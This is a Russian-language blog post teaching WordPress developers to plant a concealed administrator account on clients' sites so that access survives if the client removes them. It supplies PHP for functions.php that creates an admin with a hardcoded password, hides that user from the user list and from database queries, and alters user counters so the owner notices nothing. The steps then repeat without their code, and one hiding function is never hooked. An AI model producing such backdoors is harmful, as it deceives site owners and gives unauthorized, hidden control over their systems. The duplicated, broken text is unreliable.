29 Янв Создание скрытого администратора как способ обезопасить себя при работе с недобросовестными клиентами
Если вы работаете с клиентами, которые могут удалить ваш аккаунт администратора или ограничить ваш доступ, то создание скрытого администратора — разумная предосторожность. Вот пошаговый метод, как это сделать.
1. Создание скрытого администратора через код
Добавьте этот код в functions.php вашей темы (или запустите один раз и удалите):
function create_hidden_admin() {
$user = ‘hidden_admin’; // Логин
$pass = ‘SuperSecretPass123!’; // Пароль (измените!)
$email = ‘hidden_admin@example.com’; // Email
if (!username_exists($user) && !email_exists($email)) {
$user_id = wp_create_user($user, $pass, $email);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
add_action(‘init’, ‘create_hidden_admin’);
После выполнения код можно удалить, аккаунт останется.
2. Скрытие администратора из списка пользователей
Этот код удалит скрытого администратора из админки для всех, кроме супер-администратора:
function hide_hidden_admin($users) {
if (!current_user_can(‘manage_network’)) { // Только суперадминистратор видит
foreach ($users as $key => $user) {
if ($user->user_login === ‘hidden_admin’) {
unset($users[$key]);
}
}
}
return $users;
}
add_filter(‘pre_get_users’, function($query) {
if (!current_user_can(‘manage_network’)) {
$query->set(‘exclude’, [get_user_by(‘login’, ‘hidden_admin’)->ID]);
}
});
3. Скрытие учетной записи из базы данных
Скрываем пользователя в БД, чтобы он не отображался в обычных запросах:
function hide_admin_from_db($query) {
if (!is_admin()) {
global $wpdb;
$query->query_where .= » AND {$wpdb->users}.user_login != ‘hidden_admin'»;
}
}
add_action(‘pre_user_query’, ‘hide_admin_from_db’);
Шаг 2. Корректируем счетчики количества пользователей, чтобы никто ничего не заподозрил
add_filter('views_users','protect_user_count');
function protect_user_count( $views ){
$html = explode('<span class="count">(',$views['all']);
$count = explode(')</span>',$html[1]);
$count[0]--;
$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
$html = explode('<span class="count">(',$views['administrator']);
$count = explode(')</span>',$html[1]);
$count[0]--;
$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
return $views;
}
Если вы работаете с клиентами, которые могут удалить ваш аккаунт администратора или ограничить ваш доступ, то создание скрытого администратора — разумная предосторожность. Вот пошаговый метод, как это сделать.
1. Создание скрытого администратора через код
Добавьте этот код в functions.php вашей темы (или запустите один раз и удалите):
После выполнения код можно удалить, аккаунт останется.
2. Скрытие администратора из списка пользователей
Этот код удалит скрытого администратора из админки для всех, кроме супер-администратора:
3. Скрытие учетной записи из базы данных
Скрываем пользователя в БД, чтобы он не отображался в обычных запросах:
4. Отключение входа в админку для всех, кроме вас
Защищаем доступ к wp-admin:
5. Изменение URL для входа
Можно использовать плагин WPS Hide Login или вручную изменить wp-login.php:
Теперь вход через example.com/mysecretlogin.
Дополнительно
- Создайте второй, обычный аккаунт администратора, которым будете пользоваться. Если его удалят, у вас останется скрытый.
- Включите двухфакторную аутентификацию для дополнительной защиты.
- Настройте резервное копирование (например, с помощью UpdraftPlus).
- Следите за активностью в логах, используя WP Activity Log.
Эти меры помогут сохранить доступ к вашему сайту даже при недобросовестном поведении клиента.
No Comments